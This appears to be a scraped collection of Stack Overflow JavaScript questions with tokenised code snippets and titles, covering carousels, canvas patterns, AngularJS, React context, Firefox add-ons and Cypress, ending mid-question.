Marketing < /div > < h4 > We help < div class= '' demo-txt '' > < /div > < /h4 > < /div > < /div > < div class= '' overlay-effect '' > < /div > < /div > < /div > < /div > < /div > < /main > $ ( document ) .ready ( function ( ) { $ ( ' # js-carousel ' ) .carousel ( { interval : 5000 } ) ; $ ( ' # js-carousel ' ) .on ( 'slid.bs.carousel ' , function ( ) { var showText = function ( target , message , index , interval ) { if ( index < message.length ) { $ ( target ) .append ( message [ index++ ] ) ; setTimeout ( function ( ) { showText ( target , message , index , interval ) ; } , interval ) ; } } var str = $ ( this ) .find ( `` .active .mystring '' ) .html ( ) ; $ ( '.active .demo-txt ' ) .html ( `` '' ) ; showText ( `` .active .demo-txt '' , str , 0 , 100 ) ; } ) ; } ) ;",Bootstrap carousel make text appearing letter by letter "JS : i have this image : and i want to draw with the image as the pattern . When i did i got a result on the canvas like this : but i need the output to beSo my question is : HTML JSHere is what i have done so far on JSFiddler < canvas id= '' mr_rotator_can '' width= '' 436 '' height= '' 567 '' > < /canvas > < canvas id= '' f6258182013 '' width= '' 436 '' height= '' 567 '' > < /canvas > var source , source_ctx , sleeve , sleeve_ctx , finalsleeve , finalsleeve_ctx , temp_can1 , temp_can1_ctx ; $ ( document ) .ready ( function ( ) { temp_can1 = document.getElementById ( 'f6258182013 ' ) ; temp_can1_ctx = temp_can1.getContext ( '2d ' ) ; rotator3 ( 'http : //i.stack.imgur.com/mLgiX.png ' , '30 ' ) ; draw_on_cloth ( `` f6258182013 '' , 'http : //i.stack.imgur.com/1j8Dw.png ' , `` mr_rotator_can '' , `` img_fastening1a '' ) ; } ) ; function rotator3 ( var2 , var3 ) //var2=image aka pattern var3= angle for rotate { var mr_rotator_var = document.getElementById ( 'mr_rotator_can ' ) ; var mr_rotator_var_ctx = mr_rotator_var.getContext ( `` 2d '' ) ; mr_rotator_var.width = mr_rotator_var.width ; var imageObj_rotator3 = new Image ( ) ; imageObj_rotator3.onload = function ( ) { var pattern_rotator3 = mr_rotator_var_ctx.createPattern ( imageObj_rotator3 , `` repeat '' ) ; mr_rotator_var_ctx.fillStyle = pattern_rotator3 ; mr_rotator_var_ctx.rect ( 0 , 0 , mr_rotator_var.width , mr_rotator_var.height ) ; mr_rotator_var_ctx.rotate ( var3 * Math.PI / 180 ) ; mr_rotator_var_ctx.fill ( ) ; } ; imageObj_rotator3.src = var2 ; } function draw_on_cloth ( var1 , var2 , var3 , var4 ) //var1=the output canvas var2=body part var3= mr_rotator_can var4=image tag { debugger ; var temp_fun_canvas = document.getElementById ( var1 ) ; var temp_fun_canvas_ctx = temp_fun_canvas.getContext ( `` 2d '' ) ; temp_fun_canvas.width = temp_fun_canvas.width ; var fimg = new Image ( ) ; fimg.onload = function ( ) { temp_fun_canvas_ctx.drawImage ( fimg , 0 , 0 ) ; temp_fun_canvas_ctx.globalCompositeOperation = `` source-atop '' ; var pattern = temp_fun_canvas_ctx.createPattern ( mr_rotator_can , 'repeat ' ) ; temp_fun_canvas_ctx.rect ( 0 , 0 , mr_rotator_can.width , mr_rotator_can.height ) ; temp_fun_canvas_ctx.fillStyle = pattern ; temp_fun_canvas_ctx.fill ( ) ; temp_fun_canvas_ctx.globalAlpha = .10 ; temp_fun_canvas_ctx.drawImage ( fimg , 0 , 0 ) ; temp_fun_canvas_ctx.drawImage ( fimg , 0 , 0 ) ; temp_fun_canvas_ctx.drawImage ( fimg , 0 , 0 ) ; } ; fimg.src = var2 ; }",How to paint a continuous circular pattern with html5 canvas "JS : We have a plain ASP.NET MVC form with lots of fields . The first field is the most important , and it 's a dropdown list . Let 's say it 's the company field and it contains two value `` Coca Cola '' and `` Pepsi '' .The company field looks like this : Because it 's important this choice is actively made and is not simply left on `` Coca Cola '' simply because it 's first alphabetically , we need the field to be empty first of all ( validation data annotations take care of forcing the user to put something in ) . This is easily done with Javascript like so : However , we have a few cases where the form is n't loaded entirely blank , and instead the company field is initialised in the controller , like so : and in such cases we of course do n't want the Javascript to execute and erase this.What 's the normal solution in such cases ? < div class= '' editor-label '' > @ Html.LabelFor ( Function ( model ) model.Company ) < /div > < div class= '' editor-field '' > @ Html.DropDownListFor ( Function ( model ) model.Company , TryCast ( ViewData ( `` Companies '' ) , SelectList ) , New With { Key .style = `` blah blah ; '' } ) @ Html.ValidationMessageFor ( Function ( model ) model.Company ) < /div > function InitialiseForm ( ) { $ ( ' # Company ' ) .prop ( 'selectedIndex ' , -1 ) ; } window.onload = InitialiseForm ; modelObject.Company = `` Coca Cola ''",How to set ASP MVC form dropdown to blank but only if the underlying value is uninitialised ? "JS : I 'm trying to implement replies with comments and so when you click `` reply '' a partial should show up underneath the current comment.So in my reply.js.erb , I haveWhere @ div_id is the division id for the comment that it 's replying to . So what 's happening right now is that the partial will not display and it 's also hiding the content underneath the @ div_id . Not sure what 's going on.EDIT : So , I believe I figured out why it 's being hidden . I have another javascript file in assets called comments.js.coffee which contains this - '' .comment '' is the header for the partial which contains the Reply link . That same partial contains a Destroy link . So somehow when I click Reply it 's running this code as well which is hiding the comment afterwards . Here 's my partial for commentHow would I go about fixing this ? $ ( `` < % = j render ( : partial = > 'reply ' , : locals = > { : comment = > Comment.build_from ( @ obj , current_user.id , `` '' ) } ) % > '' ) .insertAfter ( $ ( ' < % = @ div_id % > ' ) ) .show ( 'fast ' ) ; jQuery - > $ ( document ) .on `` ajax : beforeSend '' , `` .comment '' , - > $ ( this ) .fadeTo ( 'fast ' , 0.5 ) .on `` ajax : success '' , `` .comment '' , - > debugger ; $ ( this ) .hide ( 'fast ' ) .on `` ajax : error '' , `` .comment '' , - > debugger ; $ ( this ) .fadeTo ( 'fast ' , 1 ) % div.comment { : id = > `` comment- # { comment.id } '' } % hr = link_to `` × '' , comment_path ( comment ) , : method = > : delete , : remote = > true , : confirm = > `` Are you sure you want to remove this comment ? `` , : disable_with = > `` × '' , : class = > 'close ' % h4 = comment.user.first_name % small= comment.updated_at % p= comment.body % p= link_to `` Reply '' , comment_reply_path ( comment ) , : method = > : get , : remote = > true",AJAX Request is hiding text rather than placing the partial "JS : I am trying to find the index of an object within an array . I know there is a way to do this with underscore.js but I am trying to find an efficient way without underscore.js . Here is what I have : JSFIDDLEThis works but I am afraid it is n't very efficient . Any alternatives ? var arrayOfObjs = [ { `` ob1 '' : `` test1 '' } , { `` ob2 '' : `` test1 '' } , { `` ob1 '' : `` test3 '' } ] ; function FindIndex ( key ) { var rx = /\ { . * ? \ } / ; // regex : finds string that starts with { and ends with } var arr = [ ] ; // creates new array var str = JSON.stringify ( arrayOfObjs ) ; // turns array of objects into a string for ( i = 0 ; i < arrayOfObjs.length ; i++ ) { // loops through array of objects arr.push ( str.match ( rx ) [ 0 ] ) ; // pushes matched string into new array str = str.replace ( rx , `` ) ; // removes matched string from str } var Index = arr.indexOf ( JSON.stringify ( key ) ) ; // stringfy key and finds index of key in the new array alert ( Index ) ; } FindIndex ( { `` ob2 '' : `` test1 '' } ) ;",Finding the index of an object within an array efficiently "JS : So AngularJs are deprecating the Replace property of a directive . referencecontext : this will ouput : So , Replace would replace < my-dir > < /my-dir > with the template . What is the equivalent these days ? Or is it just to use a directive with restrict : ' A'.I created this : which will output : .directive ( 'myDir ' , function ( $ compile ) { return { restrict : ' E ' , template : ' < div > { { title } } < /div > ' } } ) ; < my-dir > < div > some title < /div > < /my-dir > .directive ( 'myDir ' , function ( $ compile ) { return { restrict : ' E ' , template : ' < div > { { title } } < /div > ' , link : link } ; function link ( scope , iElem , IAttr , ctrl , transcludeFn ) { var parent = iElem.parent ( ) ; var contents = iElem.html ( ) ; iElem.remove ( ) ; parent.append ( $ compile ( contents ) ( scope ) ) ; } } ) ; < div > some title < /div >",AngularJS Directive property : Replace deprecated - Equivalent ? "JS : I was confusing myself a little with a thought experiment and now I 'm looking for some advice . Its about ECMAscript references and the Array.prototype.indexOf ( ) method.Lets start easy : So now we pushed some `` primitive values '' into our ECMAscript array ( whether or not that statement is true I 'll come back for ) , at least I imagined it like this so far . A call towill return 1 as expected . The big question I 'm having is , if .indexOf ( ) really compares the primitive value or if in reality a Number ( ) object is created + stored and its reference is getting compared . This becomes a little more obvious if we re-write that like so : Until this point , one could still easily argue that all .indexOf ( ) needs to do is to compare values , but now lets look at something like this : Here , we filled that container array with object-references and still , .indexOf ( ) works as expectedwhile a call like thisobviously returns -1 since we are creating a new object and get a new reference . So here it must internally compare references with each other , right ? Can some ECMAscript spec genius confirm that or even better link me some material about that ? A side question on this would be if there is any possibly way to access an internally stored object-reference within a lexicalEnvironment respectively Activation Object . var container = [ ] ; // more codecontainer.push ( 5 ) ; container.push ( 7 ) ; container.push ( 10 ) ; container.indexOf ( 7 ) ; var a = 5 , b = 7 , c = 10 ; var container = [ ] ; container.push ( a ) ; container.push ( b ) ; container.push ( c ) ; container.indexOf ( b ) ; var a = { name : ' a ' , value : 5 } , b = { name : ' b ' , value : 10 } , c = { name : ' c ' , value : 15 } ; var container = [ ] ; // more codecontainer.push ( a ) ; container.push ( b ) ; container.push ( c ) ; container.indexOf ( b ) // === 1 container.indexOf ( { name : ' b ' , value : 10 } ) ;",How does Javascript 's indexOf ( ) resolve references JS : We are trying to print session id in access logs using ' % S ' in server.xml . The application is developed using angular js.However it prints `` - '' instead of session id.server.xmlAccess Logs : Does angular js application create session id automatically ? < Valve className= '' org.apache.catalina.valves.AccessLogValve '' directory= '' logs '' prefix= '' localhost_access_log '' suffix= '' .txt '' pattern= '' sessionId= % S host= % h % l % u % t & quot ; % r & quot ; % s % b '' / > sessionId=- host=127.0.0.1 - - [ 12/May/2017:13:44:32 +0100 ] `` GET /application/img/sort-icn-down.png HTTP/1.1 '' 200 1114,Get session id in tomcat access logs for angular js application "JS : I am creating my first sails.js app . When I tried I 'm getting the following error on my command promptTo get the PID of the process using port:5858 , I tried runningbut unfortunately there is no process bound to port 5858 . Am I missing something here ? I 'm using Windows 8.1 with node.js v0.12.0 and sails.js 0.11.0 sails debug Debugger listening on port 5858info : Starting app ... error : Grunt : : Error : listen EADDRINUSE at exports._errnoException ( util.js:746:11 ) at Agent.Server._listen2 ( net.js:1129:14 ) at listen ( net.js:1155:10 ) at Agent.Server.listen ( net.js:1240:5 ) at Object.start ( _debugger_agent.js:20:9 ) at startup ( node.js:86:9 ) at node.js:814:3 C : \Windows\system32 > netstat -a -n -o",sails debug command not working in Sails.js "JS : I 'm completely new to JS , I want to learn how to do the following : Get an image data ( convert it into an array of pixels so I could edit it ) and then return the edited array back from the pixels editing function so that I could use these edited values to draw an edited image . I 'm not even sure if that 's the way to go about this , but here 's what I got so far : Console output shows an array with length:0 . Why does n't it pushes edited pixels to arr ? var img = new Image ( ) ; img.src = 'img.png ' ; var canvas = document.getElementById ( 'canvas ' ) ; var canvasEdited = document.getElementById ( 'canvasEdited ' ) ; var ctx = canvas.getContext ( '2d ' ) ; var arr = [ ] ; img.onload = function ( ) { ctx.drawImage ( img , 0 , 0 ) ; function editPixels ( ctx ) { for ( i of ctx ) { // edit pixels values arr.push ( i - 10 ) ; } } console.log ( arr ) ; function drawEditedImage ( ) { var ctxEdited = canvasEdited.getContext ( '2d ' ) ; ctxEdited.drawImage ( img , 0 , 0 ) ; } } ;","How to convert an image to pixels , edit it , and draw the edited image in Javascript" "JS : Consider this simple example : JSLint throws the error : Unexpected 'this ' . At the line `` this.field = 4 '' .I 've seem some questions here in StackOverflow asking for this , and in all the cases , the answer was just to enable the `` Tolerate this '' flag . However , I 'm interested in why do the JSLint creators think the use of `` this '' is ( or might lead to ) an error . Also , how would I implement member functions without the `` this '' keyword and without expecting the user to pass the instance as the first argument ? EDIT Maybe I did n't make myself clear enough in that this question , despite looking similar does n't have an answer to what I 'm asking : JSLint Error : Unexpected 'this'The problem with that question is not the question itself but rather the answers it got . Note how the accepted answer is : `` My suggestion is : tell JSLint to shut up '' . And I specifically say in my post that this is not a valid answer to me , as I want to understand why is the use of this forbidden by JSLint , not how to avoid that error . `` use strict '' ; var Foo = { field : 0 , func : function ( ) { this.field = 4 ; } }",Why does JSLint forbid the `` this '' keyword ? "JS : So this is the question that is given.You are in a room with a circle of 100 chairs . The chairs are numbered sequentially from 1 to 100.At some point in time , the person in chair # 1 will be asked to leave . The person in chair # 2 will be skipped , and the person in chair # 3 will be asked to leave . This pattern of skipping one person and asking the next to leave will keep going around the circle until there is one person left , the survivor.And this is the answer I came up with . I believe this is the right answer , I 've done it on paper about 10 times as well and came up with 74 every time.Is this a trick question or something ? Because I 'm not sure what to do from here.Here is the jsfiddle http : //jsfiddle.net/cQUaH/ var console = { log : function ( s ) { document.body.innerHTML += s + `` < br > '' ; } } ; var chairArr = [ ] ; for ( var i = 1 ; i < = 100 ; i++ ) { chairArr.push ( i ) ; } var j = 2 ; while ( chairArr.length > 1 ) { console.log ( 'removing ' + chairArr [ j ] ) ; chairArr.splice ( j , 1 ) ; j++ ; if ( j > = chairArr.length ) { console.log ( ' -- - Finished pass ' ) ; console.log ( ' -- - Array state : ' ) ; console.log ( chairArr ) ; j = ( j == chairArr.length ) ? 0 : 1 ; } } console.log ( ' -- - Final result : ' + chairArr ) ; //result 74",Looping over numbers "JS : I was looking at the output of some stuff from UglifyJS and happened across some code like the following : After running that code a is 1 and b is the string Hello , World ! .At first glance it appears that b will be undefined since it looks like the result of a function with no return value is being returned , but that is followed by a comma and a string literal.Why does this work ? And why does n't UglifyJS just execute the anonymous function and then return Hello , World ! as the next statement ? var a = 0 ; var b = function ( ) { return function ( ) { a++ ; } ( ) , 'Hello , World ' } ( ) ;",Why does this JavaScript work ? "JS : In Javascript certain operators are processed before others : The MDN has a full breakdown of all operators and their precedence ... except await.Can anyone explain which operators are processed before/after await ? Right now I feel like I have to add a bunch of parenthesis that are probably unnecessary because I 'm not sure what will get handled before/after await . And while I know I should just be able to look this up , even MDN ( the gold standard of documentation IMHO ) does n't have the answer . 1 + 2 * 3// 1 + ( 2 * 3 ) // 7 because * has higher precedence than +1 === 0 + 1// 1 === ( 0 + 1 ) // true because + has a higher precedence than === await getFoo ( ) * 2 ; // await ( getFoo ( ) * 2 ) or ( await getFoo ( ) ) * 2 ? await getFoo ( ) === 5 ; // await ( getFoo ( ) === 5 ) or ( await getFoo ( ) ) === 5 ?",What is the Operator Precedence of Await ? "JS : Possible Duplicate : javascript - Array.map and parseInt I stumbled across the following code snippet : What 's happening here ? > [ '10 ' , '10 ' , '10 ' , '10 ' , '10 ' ] .map ( parseInt ) ; [ 10 , NaN , 2 , 3 , 4 ]",What 's wrong with parseInt ? "JS : Consider a markup such as Suppose I have a value with me , say 7 . Is it possible to target the option tag whose value attribute is closest to 7 which , in this case , would be < option value= '' 8 '' > ? I 'm aware of ^ which means starting with and $ which means ending with and was hoping if there is something like this to find the closest match for a given value . < select id= '' blah '' > < option value= '' 3 '' > Some text < /option > < option value= '' 4 '' > Some text < /option > < option value= '' 8 '' > Some text < /option > // < -- -- target this tag based on value 7 < option value= '' 19 '' > Some text < /option > < /select >",Finding Closest Matching Value using jQuery or javascript "JS : I am trying to understand how the new react context API works . In redux , it is possible for a component to have knowledge of dispatch actions without knowing state . This allows updates to redux state without causing a rerender of components that do n't care about that state . For example I could haveand Updater is connected to dispatch ( updateCount ( ) ) and Consumer is connected to count 's current value via state.count . When state.count is updated , only the Consumer rerenders . To me , that 's a crucial behavior . In react context , it seems very difficult to duplicate this behavior . I 'd like to be able to update state without causing unnecessary rerenders of components that want to alter the context but do n't actually care about the state.How would it be possible for components to trigger updates to context if they are not inside a consumer ? And I definitely do n't want to trigger an update to the entire tree by setting state at the provider level . < Updater onClick= { updateCount } / > < Consumer value= { count } / >",Update react context outside of a consumer ? "JS : In React I can destructure props like this : How can I do the same in Vue ? My current verbose version in VueJS is like : Runable code snippet in React : https : //jsfiddle.net/as0p2hgw/Runable code snippet in Vue : https : //jsfiddle.net/zsd42uve/ function MyComponent ( ) { const myProp = { cx : '50 % ' , cy : '50 % ' , r : '45 % ' , 'stroke-width ' : '10 % ' } return ( < svg > < circle { ... myProp } > < /circle > < /svg > ) } < svg > < circle : cx= '' circle.cx '' : cy= '' circle.cy '' : r= '' circle.r '' : stroke-width= '' circle.strokeWidth '' > < /circle > < /svg > computed : { circle ( ) { return { cx : '50 % ' , cy : '50 % ' , r : '45 % ' , strokeWidth : '10 % ' } } }",How to destructure props in Vue just like { ... props } in React ? "JS : CLEAN SOLUTION FOUNDI found a very clean solution which really renders this whole question pointless , and I am certain it existed when I asked this question ... I was much to ignorant too look for it.Using attachTo : 'top ' in the PageMod constructor only attaches the script to the top-level documents and not to any iframes.So , if you find that PageMod is attaching multiple times for your add-on , it is probably due to it being attached to iframes , along with the top level tab document . Add attachTo : 'top ' as a property for the object passed to the PageMod constructor , and you would n't need to worry about iframes.For the question below , the solution would beOf course , without @ Noitidart 's help , I never would have pinpointed the reason to be iframes.OLD QUESTIONI 'm trying to write an add-on for Firefox which modifies the pages of a particular website . I thought PageMod was the perfect option for that , but I 've run into some problems . The workers seem to be attaching to the same URL multiple times ( 4 to 2 ) , and I have n't got a clue why this would be happening . I tried the following code in the add-on 's main.js : On running this code and opening https : //www.websitename.net in a single , solitary tab , the console had 2 to 4 instances ofWhich means that the same page has multiple workers attached to it . I do n't know why this is happening , I certainly do n't want it to because I intend to later use the _workers array to communicate with the attached scripts.EDIT : Thanks to @ Noitidart , I 've now confirmed that of the multiple workers , only one is the actual page and the others are iframes , which is why the DOM content available to the content scripts for each worker was different.The question still stands , though . How to ensure that the workers ( and thus , the content scripts ) are not attached to the iframes ? I could ensure that the worker that is n't attached to an iframe is the one pushed to _workers , but is there a way to attach a content script to a worker once I 've ensured it is the correct one ? I do n't want the rather large content script to be attached multiple times.EDIT 2 : Again , thanks to @ Noitidart , I think I have somewhat of a solution : destroy if worker is detected to be attached to an iframe . A better solution would be to only attach the main content script to the correct worker , but presently I have been unable to find a way to attach a content script to the correct worker ( worker.contentScriptFile = data.url ( `` file.js '' ) does n't seem to work ) .So , the current hack : verify.js : main.js : I should note that the order in which the scrips appear in contentScriptFile does n't matter , both scripts are loaded for each attachment . So no point hoping that verify.js destroys the worker before my_main_script.js is loaded.And again , this solution is not complete . If I have n't emphasized enough on this point , I really hope there 's a way to attach my_main_script.js to the correct worker , instead of having it load for all workers . Please comment/answer if there is such a way . var _workers = [ ] ; var pageMod = require ( `` sdk/page-mod '' ) .PageMod ( { include : /https ? : \/\/www\.websitename\.net . */ , contentScript : `` self.port.on ( 'hello ' , function ( ) { `` + `` console.log ( ' [ '+document.location.href+ ' ] : `` + `` My worker said hello to me ! ' ) ; '' , contentScriptWhen : `` end '' , attachTo : 'top ' , // < -- add this property to only attach to top level document onAttach : function ( worker ) { _workers.push ( worker ) ; worker.on ( `` detach '' , function ( ) { var ind = _workers.indexOf ( this ) ; if ( ind ! == -1 ) { _workers.splice ( ind , 1 ) ; } } ) ; worker.port.emit ( `` hello '' ) ; } } ) ; var _workers = [ ] ; var pageMod = require ( `` sdk/page-mod '' ) .PageMod ( { include : /https ? : \/\/www\.websitename\.net . */ , contentScript : `` self.port.on ( 'hello ' , function ( ) { `` + `` console.log ( ' [ '+document.location.href+ ' ] : `` + `` My worker said hello to me ! ' ) ; '' , contentScriptWhen : `` end '' , onAttach : function ( worker ) { _workers.push ( worker ) ; worker.on ( `` detach '' , function ( ) { var ind = _workers.indexOf ( this ) ; if ( ind ! == -1 ) { _workers.splice ( ind , 1 ) ; } } ) ; worker.port.emit ( `` hello '' ) ; } } ) ; [ https : //www.websitename.net/ ] : My worker said hello to me ! if ( window.top ! == window ) { self.port.emit ( 'iframe ' ) ; } else { self.port.emit ( 'hi ' ) ; } var _workers = [ ] ; var pageMod = require ( `` sdk/page-mod '' ) .PageMod ( { include : /https ? : \/\/www\.websitename\.net . */ , contentScriptFile : [ data.url ( `` verify.js '' ) , data.url ( `` my_main_script.js '' ) ] , contentScriptWhen : `` end '' , onAttach : function ( worker ) { worker.on ( `` detach '' , function ( ) { var ind = _workers.indexOf ( this ) ; if ( ind ! == -1 ) { _workers.splice ( ind , 1 ) ; } } ) ; worker.port.on ( `` hi '' , function ( ) { //Not iframe , keep this one . //If there is a way , attach 'my_main_script.js ' //to this worker now , and not before . _workers.push ( worker ) ; //Emit 'ack ' to tell my_main_script.js //that we 're good to go . worker.port.emit ( 'ack ' ) ; } ) ; worker.port.on ( `` iframe '' , function ( ) { //iframe , get rid of it . worker.destroy ( ) ; } ) ; } } ) ;",PageMod attaching worker to same URL multiple times "JS : I was on jsfiddle.net recently and I saw this as a configuration option . This got me to thinking that it might help a problem I 'm having as such : I load multiple images ( have n't upgraded to a single sprite yet ) so that I can not use my controls until they are all downloaded ... the images take most of the download time so that for the first few seconds I can not access my controls.Currently I 'm using one of these two..both work.RelatedJquery document ready vs. window.onloadwindow.onload vs. body.onload vs. document.onreadywindow.onload vs < body onload= '' '' / > window.onload = initialize_pagewindow.addEventListener ( 'load ' , initialize_page ) ;",Accessing controls early | load vs. domready "JS : I have to process loads of images . First , I need to check if the size of the image is greater than 50x60 and appropriately increasing the counter of bad images.The problem I have is that the speed of n.width / n.height on Internet Explorer 8 is extremely low . I checked n.offsetWidth , n.clientWidth but they are all the same speed-wise . I can not use n.style.width though , because this value is not always set on the < img / > tags that I 'm interested in.Consider following code : JavascriptHTMLCode produces following output parsing 10k images ( 3 different Ctrl+F5s ) FF : Processed 10000 images in 115ms . 10000 were marked as bad.FF : Processed 10000 images in 99ms . 10000 were marked as bad.FF : Processed 10000 images in 87ms . 10000 were marked as bad.IE8 : Processed 10000 images in 206ms . 10000 were marked as bad.IE8 : Processed 10000 images in 204ms . 10000 were marked as bad.IE8 : Processed 10000 images in 208ms . 10000 were marked as bad.As you can see the code in FF 3.6 is twice faster than the code executed in IE8 . To prove that the issue is really related to the speed of browser dimension property , if I change : n.width and n.height to constants , so we 'll have : I get following results : FF : Processed 10000 images in 38ms . 10000 were marked as bad.FF : Processed 10000 images in 34ms . 10000 were marked as bad.FF : Processed 10000 images in 33ms . 10000 were marked as bad.IE8 : Processed 10000 images in 18ms . 10000 were marked as bad.IE8 : Processed 10000 images in 22ms . 10000 were marked as bad.IE8 : Processed 10000 images in 17ms . 10000 were marked as bad.That 's right ! When we skip < img / > dimension check ( call to node.width / node.clientWidth etc ) , IE8 actually performs better than Firefox.Do you have any ideas why does it take so long for IE to check the size of the image and eventually how to improve the performance of this check ? var Test = { processImages : function ( ) { var fS = new Date ( ) .getTime ( ) ; var minimagew = 50 , minimageh = 60 ; var imgs = document.getElementsByTagName ( 'img ' ) ; var len = imgs.length , isBad = 0 , i = len ; while ( i -- ) { var n = imgs [ i ] ; var imgW = n.width ; var imgH = n.height ; if ( imgW < minimagew || imgH < minimageh ) { isBad++ ; } } var fE = new Date ( ) .getTime ( ) ; var fD = ( fE - fS ) ; console.info ( 'Processed ' + imgs.length + ' images in ' + fD + 'ms . ' + isBad + ' were marked as bad . ' ) ; } } ; < img src= '' http : //nsidc.org/images/logo_nasa_42x35.gif '' / > [ snip 9998 images ] < img src= '' http : //nsidc.org/images/logo_nasa_42x35.gif '' / > var imgW = 43 ; var imgH = 29 ;",Why is accessing dimensions of the image so expensive in JavaScript on IE8 ? "JS : My JavaScript knowledge is still horribly patchy since I last programmed with it , but I think I 've relearned most of it now . Except for this . I do n't recall ever seeing this before . What is it ? And where can I learn more about it ? var something = { wtf : null , omg : null } ;",what is this thing in JavaScript ? "JS : I have a strange behavior in my app using AngularJS 1.5.8 : plunker ( https : //plnkr.co/edit/zaHVJeK8hdxk2gaOL9Pf ? p=preview ) and video ( http : //recordit.co/eszvfdfC9S ) step 1 . At the beginning changing ng-required does n't call ng-change functionstep 2 . After making changes in input AND removing them ( input is empty ) ng-required DOES call ng-change functionexpected behavior ? step 2 . After making changes in input AND removing them ( input is empty ) ng-required SHOULD NOT call ng-change function . As it was at the beginning , and as it is when input has some valuePlease let me know if it 's a bug or not . If not then why changing ng-required calls ng-change NOT always or even at all ? ANSWER IS FOUND -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- - NgModelController has two properties : $ viewValue ( value entered by user ) and $ modelValue ( value bound to your model ) . When the value entered by the user fails validation , NgModelController sets the model to undefined . In AngularJS 1.3 , they added the ng-model-options directive . It lets you configure how/when the model gets updated . You can use the allowInvalid option to prevent your model from being set to undefined : ng-model-options= '' { allowInvalid : true } ''",Changing ` ng-required ` calls ` ng-change ` "JS : I 'm currently with getting RCTTextField to work with toggling keyboard . Whenever I click on the TextField and keyboard is supposed to toggle I get the following : I have no idea how to track what the underlying issue might be - looking for some more details or direction in here.Thanks ! ExceptionsManager.js:76 view < RCTShadowView : 0x7faa0dcc7e90 ; viewName : RCTTextField ; reactTag : 125 ; frame : { { 10 , 7.5 } , { 304 , 30 } } > ( tag # 125 ) is not a descendant of < RCTShadowView : 0x7faa101d0af0 ; viewName : RCTView ; reactTag : 18 ; frame : { { 0 , 0 } , { 315 , 502 } } > ( tag # 18 )",RCTTextField is not a descendant of RCTShadowView error "JS : Say I have a promise called myProm , and say I have success and error handlers called onSuccess and onError.Whenever my promise takes longer than 10 seconds to complete , I want a function called timeoutHandler to be executed , but if that happens , neither onSuccess nor onError should be executed . ( Similarly , if either onSuccess or onError runs , I do n't want my timeoutHandler to be executed . ) I 've come up with the following snippet for this.However , in case of a timeout , my newly defined promise will be forever-pending . Could this have any negative side effects ? For example , the runtime not being able to clean up the Promise object because it 's still pending ( or something along those lines ) . new Promise ( ( suc , err ) = > { let outOfTime = false ; const timeoutId = window.setTimeout ( ( ) = > { outOfTime = true ; timeoutHandler ( ) ; } , 10000 ) ; myProm.then ( ( ... args ) = > { if ( ! outOfTime ) { window.clearTimeout ( timeoutId ) ; suc ( ... args ) ; } } , ( ... args ) = > { if ( ! outOfTime ) { window.clearTimeout ( timeoutId ) ; err ( ... args ) ; } } ) ; } ) .then ( onSuccess , onError ) ;",Are JavaScript forever-pending promises bad ? "JS : I 'm trying to make a simple TypeScript class , however when it 's instantiated I receive an this is undefined error in the constructor.Class : Gets compiled into : Why is this not working ? Why is this undefined ? This seems to be the appropriate syntax based on examples and other code I 've written.The remainder of my code ( this works ) : class MyClass { stuff : string ; constructor ( ) { this.stuff = 'stuff ' ; } } app.config ( [ MyClass ] ) ; var MyClass = /** @ class */ ( function ( ) { function MyClass ( ) { this.stuff = 'stuff ' ; } return MyClass ; } ( ) ) ; app_module_1.app.config ( [ MyClass ] ) ; export let app = angular.module ( 'timeApp ' , [ uirouter ] ) ; class MainController { stuff : string ; constructor ( ) { this.stuff = `` TESTING '' ; } } app.controller ( 'mainController ' , MainController ) ;",angular.js : Typescript class constructor `` this is undefined '' "JS : AS title , I want the top fixed menu have two rows instead of one.Here is what I have tried.Using second container result in both occupying 50 % width . Using column and grid also not working ( the menu no longer maintain its layout ) . It seems to be a simple question . Any helps are welcome . < script src= '' https : //ajax.googleapis.com/ajax/libs/jquery/2.1.1/jquery.min.js '' > < /script > < script src= '' https : //cdnjs.cloudflare.com/ajax/libs/semantic-ui/2.2.13/semantic.js '' > < /script > < link rel= '' stylesheet '' type= '' text/css '' href= '' https : //cdnjs.cloudflare.com/ajax/libs/semantic-ui/2.2.13/semantic.css '' > < div class= '' ui top fixed inverted menu '' > < div class= '' ui container '' > < a class= '' item '' > Item < /a > < a class= '' item '' > Item < /a > < /div > < div class= '' ui container '' > < a class= '' item '' > Item < /a > < /div > < /div >",How to make two row of top fixed menu in semantic-ui JS : Consider the following HTML : I would like a selector that selects the divs that look like $ ( 'div [ id=Kees_ { any number } _test ] ' ) . How can I achieve this ? Note : the ID 's are generated by Asp.Net . < div id= '' Kees_1_test '' > test 1 < /div > < div id= '' Kees_12_test '' > test 2 < /div > < div id= '' Kees_335_test '' > test 3 < /div >,Wanted : jQuery selector with variable part in the middle "JS : Doing this creates two new vars ( from the else ) , however if I write it like so : I receive a syntax error . What is the best approach here ? let text , value ; if ( typeof f == 'string ' ) { text = value = f ; } else { let { text , value } = f ; } let text , value ; if ( typeof f == 'string ' ) { text = value = f ; } else { { text , value } = f ; }","ES6 destructuring , dynamic assignment" "JS : For example , when the user have already clicked on the prevPage , the statement inside it is running , if the user click on it instantly , it will trigger again . However , I would like the click event trigger only after all the statement inside it have finish execution , How to achieve that ? Thanks . $ ( `` # prevPage '' ) .live ( `` click '' , function ( e ) { ... ... ... ... ... .. } ) ;",How to temporary disable the click function when it is executing ? "JS : I have 3 divs , # left , # center and # right that I want to position on the same line which has a specific width , say 300px. # left and # right have little content , say 50px each , and I am displaying them fully. # center has a lot of content , say 400px , and I want to display as much as possible within the remaining space on the line . For this , I have included the content of # center within # inner.I have floated # left and # center to left and # right to right.Example fiddleQuestion 1 : Is there a way of making the # center div take all of the available remaining space on the line through CSS ( in our example , # center has to be 200px wide - the width of the line , 300px , minus the width of # left and # right , each 50px ) ? Question 2 : I did not find a solution through CSS and I have used jQuery to dynamically calculate the remaining available space . This works ok in all browsers except IE9.The problem with IE9 is that it has subpixel precision and jQuery returns only integer values for the dimensions of elements.Here 's an example : IE9 sees # left as having 50.5px width while jQuery sees it as having 50px . This difference causes the layout to break in IE9.If I need to calculate the available space through JavaScript , what can I do to overcome this IE9 issue ? < div id= '' left '' > LEFT < /div > < div id= '' center '' > < div id= '' inner '' > LONG CONTENT ... < /div > < /div > < div id= '' right '' > RIGHT < /div >",Dynamic element width and IE9 subpixel precision "JS : I 'm a newbie to cypress , so please be patient with me . ; - ) I 'm sure it is a simple question and I already read the documentation of cypress , but something still seems to wrong in my cypress test . I want to wait for an xhr request to be finished , when I click on a different language of the page I want to test.It works , when I use wait ( 5000 ) , but I think , there is a better way to wait for the xhr request to be finished than fix 